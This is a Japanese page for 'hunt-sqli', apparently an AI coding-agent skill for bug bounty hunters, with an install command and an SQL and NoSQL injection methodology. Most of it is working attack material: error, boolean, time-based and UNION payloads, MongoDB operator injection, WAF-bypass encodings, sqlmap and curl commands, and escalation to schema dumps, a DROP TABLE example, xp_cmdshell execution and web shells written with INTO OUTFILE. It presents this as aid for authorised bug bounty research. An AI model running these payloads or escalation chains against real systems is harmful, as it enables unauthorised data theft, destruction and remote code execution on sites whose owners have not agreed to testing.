hunt-sqli について
hunt-sqli は、バグバウンティ調査者向けの SQL・NoSQL インジェクション検証スキルです。入力箇所の特定、データベース別のプローブ、確認方法、影響の記録を支援します。
主な機能
- 01入力箇所と技術スタックの特定
- 02エラー・ブール・時間差プローブ
- 03MongoDBインジェクション検査
- 04自動検証のガイダンス
- 05影響評価と報告
活用シーン
- 01検索・フィルターのパラメーター検査
- 02APIのSQL・NoSQLインジェクション確認
- 03再現可能な脆弱性証拠の準備
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-sqliインストール後、Claude Code で/hunt-sqliを入力して読み込まれたか確認します。
詳細
使用する場面
対象に、データベースとやり取りするエンドポイント(検索、フィルター、並べ替え、ログイン、ID による検索、API パラメーター、クエリに使用される可能性のあるユーザー入力など)がある場合に使用します。SQL インジェクション(NoSQL インジェクションを含む)は、データの機密性、完全性、可用性を直接脅かすため、今なお最も高額な報奨金が期待できる脆弱性の種類の一つです。GET/POST/JSON/ヘッダー/Cookie の各パラメーターのうち、バックエンドデータベースに届くものはすべて候補です。特に価値の高い対象は、マルチテナント SaaS プラットフォーム、e コマース/決済システム、検索エンドポイント、分析用サブドメイン、サードパーティープラグインです。
最重要ターゲット
SQL インジェクションは、規模を問わずデータの機密性、完全性、可用性を直接脅かすため、バグバウンティで今なお最も高額な報奨金が期待できる脆弱性の種類の一つです。
特に価値の高い対象:
- マルチテナントデータベースを使用する SaaS プラットフォーム — 1 件のインジェクションで、すべての顧客データが漏えいする可能性があります
- e コマース/決済システム — 個人情報、カードデータ、取引記録
- 検索エンドポイント — ユーザーが制御する入力がクエリに直接渡されます(例:Rockstar Games の
/search) - 分析/トラッキング用サブドメイン — 急いで構築され、テストが不十分なことがよくあります(例:
sctrack.email.[RIDESHARE_CO].cn) - エンタープライズ環境にインストールされたサードパーティープラグイン — 企業ドメインで実行されている WordPress プラグインや CMS 拡張機能(Uber の Huge IT Video Gallery)
- 外部に公開された内部ツール — Apache Airflow、GitHub Enterprise、管理ダッシュボード
- NoSQL バックエンド(MongoDB) — 見過ごされがちですが、構文が異なるだけで同じインジェクションの種類です
報奨金が最も高い資産の種類:
/search、/filter、/sort、/reportパラメーターを持つ本番環境の API- レガシースタックを使用するサブドメイン(
.cn、.co、.ioの地域別バリアント) - バグバウンティの対象範囲に含まれるセルフホスト型のオープンソースツール(Airflow、GitLab、Jenkins)
- メールトラッキングおよび分析インフラストラクチャ
攻撃対象領域の兆候
インジェクション可能なパラメーターを示唆する URL パターン:
/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=
レスポンスヘッダーの兆候:
X-Powered-By: PHP— MySQL/PostgreSQL バックエンドの可能性がありますServer: Apache+ PHP — 従来型の LAMP スタックですX-Powered-By: Express— MongoDB/NoSQL バックエンドの可能性があります- レスポンス内に漏えいするデータベースエラーメッセージ(MySQL、PostgreSQL、MSSQL のエラー文字列)
動的なクエリ構築を示す JavaScript パターン:
// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)
技術スタックの兆候:
- サードパーティープラグインを使用する WordPress サイト(
/wp-content/plugins/を確認します) - Apache Airflow のエンドポイント(
/admin/、/api/experimental/) - GitHub Enterprise(
/_graphql、/search、/api/v3/) - Node.js + MongoDB の組み合わせ(リクエスト本文の
$where、$regexを確認します) - 詳細な MySQL エラーを返す PHP アプリケーション
NoSQL を示すコンテンツタイプの兆候:
- ネストされたオブジェクトパラメーターを含む
Content-Type: application/jsonの本文 - 配列を受け付けるパラメーター:
param[]=valueまたは{"key": {"$gt": ""}}
ステップごとのハンティング手法
-
すべての入力ベクトルを列挙する — アプリの通常利用中に Burp Suite のパッシブスキャンを使用します。すべてのパラメーターを取得します:GET、POST、JSON ボディ、HTTP ヘッダー(User-Agent、Referer、X-Forwarded-For)、Cookie、パスセグメント。
-
技術スタックを特定する — レスポンスヘッダー、エラーメッセージ、求人情報、Wappalyzer、BuiltWith を確認します。優先するペイロード(MySQL と PostgreSQL、MongoDB のどれか)を判断できます。
-
レスポンスのベースラインを記録する — クリーンなリクエストに対する通常のレスポンス長、ステータスコード、レスポンスタイムを記録します。これが差分比較のベースラインになります。
-
エラーベースのプローブを送信する — シングルクォート
'、ダブルクォート"、バッククォート`を個別に注入し、次の点を確認します:- データベースのエラーメッセージ(即時に確認できます)
- レスポンス長の変化
- HTTP 500 エラー
-
ブールベースのブラインドテストを行う — 真偽条件を送信してレスポンスを比較します:
param=1 AND 1=1とparam=1 AND 1=2- レスポンスが異なる場合 → 注入可能性が高いです
-
時間ベースのブラインドテストを行う — 目に見える差異がない場合:
- MySQL:
param=1 AND SLEEP(5) - PostgreSQL:
param=1; SELECT pg_sleep(5)-- - MSSQL:
param=1; WAITFOR DELAY '0:0:5'-- - レスポンスタイムの差が 5 秒を超えれば、脆弱性が確認されます
- MySQL:
-
NoSQL(MongoDB)の場合 — JSON ボディと PHP スタイルの配列パラメーターを使ってオブジェクト注入をテストします:
- JSON 内の文字列値を
{"$gt": ""}に置き換えます - クエリ文字列で
param[$ne]=invalidを試します
- JSON 内の文字列値を
-
確認を自動化する — 手作業をせずにデータベースを列挙するため、確認済みの候補に対して
sqlmapを--level=3 --risk=2を指定して実行します。 -
影響を拡大する — 次を試みます:
UNIONベースの抽出(最初にカラムを列挙します)INFORMATION_SCHEMAのダンプ- 権限が許せば、ファイルの読み取り/書き込み(
LOAD_FILE、INTO OUTFILE) - RCE を目的としたスタッククエリ(MSSQL の
xp_cmdshell)
-
一連の流れをすべて記録する — Burp Repeater のリクエスト/レスポンス、sqlmap の出力、データ抽出の証拠を取得します(報告書には機密性のないフィールドのみを使用します)。
ペイロードと検出パターン
初期のエラーベースプローブ:
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--
ブールベースのブラインド:
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--
時間ベースのブラインド:
-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--
-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--
UNION ベース(最初にカラムを列挙):
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10-- (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
NoSQL インジェクション(MongoDB):
// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}
// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*
PHP ハッシュ/配列インジェクション:
# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null
JS ソースの調査に使用する Grep パターン:
# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/
時間ベースの検出に使用する curl:
# Baseline
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"
# Inject
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"
# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch
# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch
# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5
カラム列挙用の Burp Intruder ペイロードリスト:
§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§
よくある根本原因
-
パラメーター化クエリではなく文字列連結を使用する — 最も多い根本原因です。開発者がユーザー入力を直接使って SQL 文字列を構築します:
"SELECT * FROM items WHERE id=" + userId。 -
「パフォーマンス」のために ORM を回避する — 複雑な結合やレポートのために、開発者が安全な ORM から生クエリに切り替えます:
db.query("SELECT " + userColumn + " FROM table")。 -
検索/フィルター機能 — ソートやフィルターのロジックはパラメーター化が非常に難しく(カラム名はバインドできません)、許可リストの回避や保護の欠如につながります。
-
サードパーティ製プラグイン/ライブラリの脆弱性 — 開発者が、クエリロジックを監査せずにインストール済みのプラグイン(WordPress、Joomla の拡張機能)を信頼します(Uber の Huge IT Video Gallery の事例)。
-
レガシーなコードベース — PDO/MySQLi のプリペアドステートメントが登場する前の古い PHP 4/5 のコードが、買収した資産や地域別サブドメイン上で本番稼働を続けています。
-
内部ツールを外部向けに公開する — Apache Airflow のようなツールは、最小限のセキュリティ強化で内部利用向けに設計されていましたが、その後、認証済みの外部ユーザーに公開されています。
-
NoSQL に対する誤った安心感 — 開発者が「MongoDB を使っているから SQL インジェクションは起きない」と考え、入力検証を完全に省略し、オブジェクト/演算子インジェクションを可能にします。
-
ORDER BY/GROUP BY のエスケープ不足 — これらの句ではバインドパラメーターを使えないため、開発者が手動でエスケープします(しかも、誤っていることがよくあります)。
-
HTTP ヘッダーや見落とされがちな入力 —
User-Agent、Referer、X-Forwarded-Forが、サーバー側で「信頼できる」値だと思い込まれ、サニタイズされずにデータベースに保存されます。
バイパス手法
WAF のバイパス手法:
キーワードの難読化:
-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users (tab)
SELECT%0Ausername%0AFROM%0Ausers (newline)
-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users
-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users (MySQL version comments)
/*!50000SELECT*/ username FROM users
エンコーディングによるバイパス:
URL encode: %27 = ' %20 = space %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '
演算子の置き換え:
-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT (instead of UNION SELECT)
関数の置き換え:
-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE (different extraction method)
URL の WAF を回避するヘッダーベースのインジェクション:
curl --max-time 30 --connect-timeout 10 -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/
JSON/NoSQL の WAF バイパス:
{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}
"認証済みユーザーのみ"のインジェクションに対する認証バイパス(Airflow パターン):
- 低権限アカウントを入手する(無料プラン、試用版、流出した認証情報)
- 認証済みエンドポイント経由でインジェクションを実行する — WAF は認証済みのトラフィックをホワイトリストに登録していることがよくあります
チャンク化された転送エンコーディングによるリクエストボディ検査の回避:
Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)
ゲート 0 の検証
レポートを書く前に、次の 3 つすべてに回答してください。
1. 攻撃者は今、何ができますか? 少なくとも次のいずれかを実証できる必要があります。
- エラーメッセージまたは UNION によってデータベースのバージョン/名前を抽出する
- 時間遅延を制御できることを証明する(
SLEEP(5)による 5 秒の遅延をタイミングで確認) information_schema.tablesから行を抽出する- ブール型インジェクションによって認証をバイパスする
- NoSQL の場合:ログインをバイパスするか、コレクションのデータを抽出する
証拠が、データ抽出やタイミングの証明を伴わないエラーメッセージの変化だけである場合、情報提供のみの報告となる可能性があります(レポート 1 のように、深刻度は低)。
2. 被害者は何を失いますか? リスクにさらされる具体的なデータを特定する必要があります。
- PII(氏名、メールアドレス、パスワード、住所)
- 認証情報またはセッショントークン
- ビジネスデータ(取引、専有記録)
- 攻撃者が管理するサーバーへのデータ流出の可能性
どのデータベース/テーブルに機密データが含まれているかを特定せず、「データベースを読み取られる可能性がある」とだけ述べても、レポートの説得力は大きく弱まります。
3. ゼロから 10 分以内に再現できますか? 以下が必要です。
- 脆弱性を実証する単一の curl コマンドまたは Burp Repeater リクエスト
- すぐに期限切れになる特定のセッション状態に依存しないこと
- 一貫して挙動を引き起こす SQLMap のタンパースクリプトまたは手動ペイロード
- あなたの助けなしにトリアージエンジニアが追従できる画面録画または手順
再現に複数のアカウント、特別なタイミング、または競合状態が必要な場合は、提出前にすべての前提条件を明記してください。
実際の影響事例
シナリオ A — 地域サブドメイン、レガシースタック(Uber sctrack パターン)
レガシーな PHP スタックで構築されたメール追跡用サブドメイン(sctrack.email.[company].com.cn)では、メールの開封を追跡するために uid パラメーターを受け付けていました。このパラメーターは、MySQL クエリに直接連結されていました。時間ベースのブラインドペイロードを使うことで、認証されていない攻撃者がデータベーススキーマ全体を列挙し、個人を特定できる情報(PII)を含むメールキャンペーンの宛先リストを抽出できるほか、内部インフラへの侵入を試みることも可能でした。地域サブドメインは、セキュリティ成熟度が低い現地チームによって管理され、主要な WAF の保護範囲外にあることが多いため、継続的に高い成果が得られる標的となります。
シナリオ B — 企業ドメイン上のサードパーティ製プラグイン(Uber WordPress プラグインパターン)
ある企業のマーケティングサイトでは、Huge IT Video Gallery プラグインを使った WordPress が稼働していました。プラグインの album_id パラメーターは、プレースホルダーを使ったクエリになっていませんでした。サイトが他のサービスとデータベースの認証情報を共有していたため、悪用によって WordPress のインストール範囲を超えた影響が及ぶ可能性がありました。これは、プラグインのサプライチェーンリスクを示しています。親会社のバグ報奨金制度の対象範囲にそのドメインが含まれていても、脆弱なコードはすべてサードパーティ製でした。WordPress プラグインを調査する際は、インストール済みプラグインを既知の CVE と照合するだけでなく、パラメーターに未知のインジェクションがないかもテストする必要があります。根本原因が 20 ドルのプラグインにあっても、企業ブランドによって報奨金は増額されます。
シナリオ C — 外部に公開された認証済み内部ツール(Airflow パターン)
ワークフローのオーケストレーションに使用され、認証済みユーザーがアクセスできるようにデプロイされた Apache Airflow のウェブインターフェースには、管理者 UI のフィルター/検索パラメーターに SQL インジェクションが含まれていました。Airflow は自身のメタデータ DB を管理する必要があるため、データベースのスーパーユーザー認証情報で実行されることがよくあります。そのため、権限の低いアカウントを含め、認証済みユーザーなら誰でも悪用でき、データベースの完全な読み書き権限につながるほか、COPY TO/FROM などの DB 機能を介して OS レベルのコマンド実行に至る可能性もありました。教訓は、「認証済みユーザーのみ」だからといって「安全」とは限らないということです。内部ツールは認可モデルが脆弱で、過剰な権限を持つ DB 接続を使用していることがよくあります。
公開されたレポートの引用(追加分 +4 — 2021-2024)
以下の実在する検証済みのバグ報奨金/CVE/協調的な脆弱性開示の事例を追加し、このスキルを最新(2021-2024)の例で拡充します。古い事例集で特に取り上げが少ない、NoSQL と ORM バイパスに重点を置いています。
-
Rocket.Chat —
getPasswordPolicyにおける認証前のブラインド NoSQL インジェクション(CVE-2021-22911) (H1 #1130721 · Sonar の解説)- サブクラス:NoSQL インジェクション(MongoDB の
$regex演算子)— 認証前 - ペイロード(Meteor DDP メソッド呼び出し):
{"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]}— 応答時間/ブール値のサイドチャネルを使い、パスワードリセットトークンを1文字ずつ総当たりで特定し、その後、管理者パスワードのリセットを経て、インテグレーション経由で RCE につなげます - 根本原因:Meteor の
methodsが生のオブジェクトセレクターを受け付けていました。getPasswordPolicyはtokenを Mongo のfindOneに渡す前に、それが文字列であることを検証していませんでした - 年:2021 — H1 の非公開バグ報奨金が CVE-2021-22911 と組み合わされました
- サブクラス:NoSQL インジェクション(MongoDB の
-
Mongoose ORM —
populate({match})経由の$whereインジェクション(CVE-2024-53900 + CVE-2025-23061) (GHSA-m7xq-9374-9rvx)- サブクラス:NoSQL インジェクション — ORM の生演算子バイパス(Mongoose Node.js)
- ペイロード:
Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}})— 攻撃者が制御する JSON がpopulate({match})に渡され、MongoDB の$whereに到達して任意のサーバー側 JavaScript を実行し、ブラインドな情報窃取と DoS を引き起こします - 根本原因:Mongoose < 8.8.3 は
matchフィルター内の$whereを除去していませんでした。開発者は ORM レベルで安全だと想定していました - 年:2024 — Mongoose プロジェクト/GitHub Security Lab IBB を通じて報告されました
-
Django —
QuerySet.values()の JSONField SQL インジェクション(CVE-2024-42005) (H1 #2646493 · コミット)- サブクラス:ORM の生フラグメント SQLi(Django ORM — 列エイリアスインジェクション)
- ペイロード:
Item.objects.values('data__"); DROP TABLE x;--')— 細工された JSON パスキー(リクエストパラメーターから*argsとして渡されたもの)が、エスケープされずに SQL 列エイリアスとして使われました。.values()はSELECT (data->>'…') AS "…"; DROP TABLE x;--"を出力しました - 根本原因:Django は、ユーザーが指定した JSONField キー文字列から生成された列エイリアスを引用符で囲まずに出力していました。エイリアスの値は常に開発者が制御していると想定していました
- 年:2024 — CVSS 9.8。Eyal Gabay(EyalSec)が Django の HackerOne プログラムを通じて報告し、IBB 報奨金を受け取りました
-
Mozilla —
mozilla.socialの招待エンドポイントにおけるブール値ベースのブラインド SQLi (H1 #2209130)- サブクラス:認証関連エンドポイントにおけるブール値ベースのブラインド SQLi
- ペイロード:
POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"}— 「無効なコード」と「コードが受け付けられ、リダイレクトが発行された」の違いを判別することで、OIDC プロキシの Postgres バックエンド上のスキーマ/テーブルを列挙できました - 根本原因:招待コードの検索で、プロキシの Postgres DB に対する生の SQL 文字列を構築していました。開発者はコードが短く不透明だと想定し、パラメーターのバインドを省略していました
- 年:2023 — Mozilla H1 のバグ報奨金(開示時、金額は伏せられています)
検証
このセルフテストを実行し、SQLi 探索の準備ができていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します:
grep -q "name: hunt-sqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3つすべてのテストで、スキルが適切に構成され、使用する準備ができていることを確認できます。
落とし穴
- データ抽出を伴わないエラーベースの SQLi — SQL フラグメントを含む 500 エラーは、インジェクションの存在を証明しますが、悪用可能であることまでは証明しません。エラーだけでなく、データを抽出する必要があります。
- データ抽出を伴わないブラインド SQLi — ブール値ベースや時間ベースのブラインド SQLi は悪用がより困難ですが、有効な脆弱性です。少なくともテーブル名の抽出を実証してください。
- 手動で確認せずに sqlmap でダンプする — sqlmap では誤検知が発生します。抽出したデータを少なくとも 1 つ、手動で検証してください。
- 二次 SQLi — データを今保存し、後で悪用します。インジェクション箇所と悪用箇所は別のエンドポイントです。
- NoSQL と SQL の混同 — MongoDB の
$gt、$neは NoSQL インジェクションであり、SQLi ではありません。異なる攻撃クラスです。
関連スキルとチェーン
Phase X — NUL バイト SQL インジェクション
一部のデータベースドライバー(pdo_firebird、古い ODBC、レガシー C ライブラリ)は、ステートメントの準備時に内部で strncat()/strcpy() を使用します。これらの関数は \0(NUL バイト)を文字列終端として扱います。\0 を含むユーザー入力がまず PDO::quote() を通り(正しくエスケープされます)、次に PDO::prepare()(ドライバー側のトークナイザー)を通ると、NUL バイトによって引用符で囲まれたリテラルが切り詰められ、閉じ引用符が取り除かれて SQL インジェクションが可能になります。PHP Firebird ドライバーで確認されています(CVE-2025-14179)。
# Inject NUL byte to break quoted string boundary
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/search?q=%00' OR '1'='1' --"
# POST with NUL byte in parameter
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"alice\u0000","department":" UNION SELECT * FROM users--"}'
# URL-encoded NUL byte
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page.php?id=1%00' UNION SELECT 1,2,3--"
主な兆候:
- 対象が Firebird、
PDO::ATTR_EMULATE_PREPARESを使用する PostgreSQL、またはレガシー ODBC を使用している - アプリケーションが
PDO::prepare()の前にPDO::quote()を呼び出している(quote-then-prepare パターン) - パラメーター内の NUL バイトによって、引用符処理が「正しく」行われていてもクエリが破損する
関連スキルとチェーン
hunt-rce—FILE、xp_cmdshell、またはCOPY FROM PROGRAM権限を持つ DB ユーザーに対する SQLi は、単なるデータ読み取りではなく、RCE のプリミティブです。チェーンのプリミティブ:MSSQL のユニオンベース SQLi →EXEC xp_cmdshell 'whoami'→NT AUTHORITY\SYSTEMとしての RCE。pg_read_server_files権限を使った Postgres SQLi、またはCOPY ... FROM PROGRAM 'id'→ RCE。FILE権限を使った MySQL SQLi →INTO OUTFILEで Web ルートに Web シェルを書き込む。hunt-idor— SQLi で users テーブルから任意の読み取りができれば、IDOR エンドポイントを大規模に列挙するための ID/UUID が得られます。チェーンのプリミティブ:ブラインド SQLi でusers.uuid列を抽出 → UUID を/api/users/{uuid}/profileに渡す → 理論上のアクセス制御不備ではなく、PII を伴う大規模な IDOR を確認。hunt-nosqli— NoSQL インジェクション(MongoDB の $regex、$where、$ne)は SQLi と構文が異なりますが、ロジックは同じです。チェーンのプリミティブ:Express/Mongo スタックで SQLi が失敗した場合は、{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}に切り替える — まったく異なる DB パラダイムを通じた認証バイパスです。hunt-ldap— LDAP インジェクションと SQLi は、クエリ言語にサニタイズされていない入力が使われるという同じ根本原因を持ちますが、対象はリレーショナルデータベースではなくディレクトリーサービスです。チェーンのプリミティブ:AD バックエンドのログインに対する LDAP インジェクションで、(&(uid=*)(userPassword={password}))を使って認証をバイパスする — 同じインジェクションクラスで、異なるパーサーが対象です。hunt-auth-bypass— ログインフォームやセッションテーブルでの古典的な' OR 1=1 --は、SQLi を介した認証バイパスです。チェーンのプリミティブ:password_reset_tokensテーブルへの SQLi →[email protected]のトークン行を読み取る、または挿入する → 元のパスワードを一度も確認せずに ATO を実現。security-arsenal— SQLi ペイロードツリーを活用します(WAF バイパス用のユニオン変種/**/UnIoN/**/SeLeCt/**/、MSSQL のWAITFOR DELAY '0:0:10'、MySQL のSLEEP(10)、Postgres のpg_sleep(10)、Oracle のDBMS_PIPE.RECEIVE_MESSAGE、NoSQLi の{"$ne": null}/{"$where": "sleep(5000)"}、保存後にレンダリングされるフィールドを介した二次インジェクション)。triage-validation— 報告前に再現性ゲートを適用します。sleep-10 ペイロードでの 200 ms の差はノイズであり、ブラインド SQLi ではありません。統計的な証拠(0 秒で 5 回、10 秒で 5 回試行し、信頼区間が重ならないこと)、または一意のマーカーを使った OOB DNS コールバックを必須とします。hunt-sqli 内部のセンチネル/ベースラインパターンは、まさにこのためにあります。